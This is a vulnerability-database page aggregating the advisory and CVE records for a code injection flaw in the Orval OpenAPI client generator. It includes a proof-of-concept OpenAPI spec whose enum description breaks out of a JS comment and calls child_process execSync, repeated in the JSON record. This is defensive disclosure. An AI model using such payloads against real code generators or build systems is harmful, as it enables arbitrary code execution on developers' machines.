Vulnerability-Lookup

GHSA-GCH2-PHQH-FG9Q

Vulnerability from github – Published: 2026-01-30 21:17 – Updated: 2026-01-31 03:54

Summary

Orval has Code Injection via unsanitized x-enum-descriptions using JS comments

Details

CVE-2026-23947 had an incomplete fix

While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.

Example:

openapi: 3.0.4
info:
  title: Enum PoC
  version: "1.0.0"

paths:
  /ping:
    get:
      operationId: ping
      responses:
        "200":
          description: ok
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/EvilEnum"

components:
  schemas:
    EvilEnum:
      type: string
      enum:
        - PWNED
      x-enumDescriptions:
        # "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"
        - "pwned */ }; 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const a = { /*"

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@orval/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.19.0"
            },
            {
              "fixed": "7.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@orval/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25141"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-84",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-30T21:17:25Z",
    "nvd_published_at": "2026-01-30T21:15:58Z",
    "severity": "CRITICAL"
  },
  "details": "[CVE-2026-23947](https://github.com/advisories/GHSA-h526-wf6g-67jv) had an incomplete fix\n\nWhile the current [jsStringEscape](https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227) function properly handles single quotes (\u0027), double quotes (\") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.\n\n**Example:**\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Enum PoC\n  version: \"1.0.0\"\n\npaths:\n  /ping:\n    get:\n      operationId: ping\n      responses:\n        \"200\":\n          description: ok\n          content:\n            application/json:\n              schema:\n                $ref: \"#/components/schemas/EvilEnum\"\n\ncomponents:\n  schemas:\n    EvilEnum:\n      type: string\n      enum:\n        - PWNED\n      x-enumDescriptions:\n        # \"pwned */ }; import(\u0027child_process\u0027).then(cp =\u003e cp.execSync(\u0027touch pwned\u0027)); const a = { /*\"\n        - \"pwned */ }; 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const a = { /*\"\n\n```",
  "id": "GHSA-gch2-phqh-fg9q",
  "modified": "2026-01-31T03:54:21Z",
  "published": "2026-01-30T21:17:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-gch2-phqh-fg9q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25141"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/orval-labs/orval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v7.21.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v8.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Orval has Code Injection via unsanitized x-enum-descriptions using JS comments"
}

CVE-2026-25141 (GCVE-0-2026-25141)

Vulnerability from cvelistv5 – Published: 2026-01-30 20:19 – Updated: 2026-02-02 18:00

Title

Orval has a code injection via unsanitized x-enum-descriptions uing JS comments

Summary

Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions starting with 7.19.0 and prior to 7.21.0 and 8.2.0 have an incomplete fix for CVE-2026-23947. While the jsStringEscape function properly handles single quotes ('), double quotes (") and so on, it is still possible to achieve code injection using only a limited set of characters that are currently not escaped. The vulnerability lies in the fact that the application can be forced to execute arbitrary JavaScript using characters such as []()!+. By using a technique known as JSFuck, an attacker can bypass the current sanitization logic and run arbitrary code without needing any alphanumeric characters or quotes. Version 7.21.0 and 8.2.0 contain an updated fix.

Severity

9.3 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: none Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-02 18:00 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7712 records in the last 180 days details

References

5 references

URL	Tags
https://github.com/orval-labs/orval/security/advi…	x_refsource_CONFIRM
https://github.com/orval-labs/orval/security/advi…	x_refsource_MISC
https://github.com/orval-labs/orval/blob/02211fc4…	x_refsource_MISC
https://github.com/orval-labs/orval/releases/tag/…	x_refsource_MISC
https://github.com/orval-labs/orval/releases/tag/v8.2.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
orval-labs	orval	Affected: >= 7.19.0, < 7.21.0 Affected: >= 8.0.0, < 8.2.0

Show details on NVD website

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-25141",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-02T18:00:03.652619Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-02T18:00:17.681Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "orval",
          "vendor": "orval-labs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 7.19.0, \u003c 7.21.0"
            },
            {
              "status": "affected",
              "version": "\u003e= 8.0.0, \u003c 8.2.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions starting with 7.19.0 and prior to 7.21.0 and 8.2.0 have an incomplete fix for CVE-2026-23947. While the jsStringEscape function properly handles single quotes (\u0027), double quotes (\") and so on, it is still possible to achieve code injection using only a limited set of characters that are currently not escaped. The vulnerability lies in the fact that the application can be forced to execute arbitrary JavaScript using characters such as []()!+. By using a technique known as JSFuck, an attacker can bypass the current sanitization logic and run arbitrary code without needing any alphanumeric characters or quotes. Version 7.21.0 and 8.2.0 contain an updated fix."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-30T20:19:04.333Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/orval-labs/orval/security/advisories/GHSA-gch2-phqh-fg9q",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-gch2-phqh-fg9q"
        },
        {
          "name": "https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv"
        },
        {
          "name": "https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227"
        },
        {
          "name": "https://github.com/orval-labs/orval/releases/tag/v7.21.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/orval-labs/orval/releases/tag/v7.21.0"
        },
        {
          "name": "https://github.com/orval-labs/orval/releases/tag/v8.2.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/orval-labs/orval/releases/tag/v8.2.0"
        }
      ],
      "source": {
        "advisory": "GHSA-gch2-phqh-fg9q",
        "discovery": "UNKNOWN"
      },
      "title": "Orval has a code injection via unsanitized x-enum-descriptions uing JS comments"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-25141",
    "datePublished": "2026-01-30T20:19:04.333Z",
    "dateReserved": "2026-01-29T15:39:11.820Z",
    "dateUpdated": "2026-02-02T18:00:17.681Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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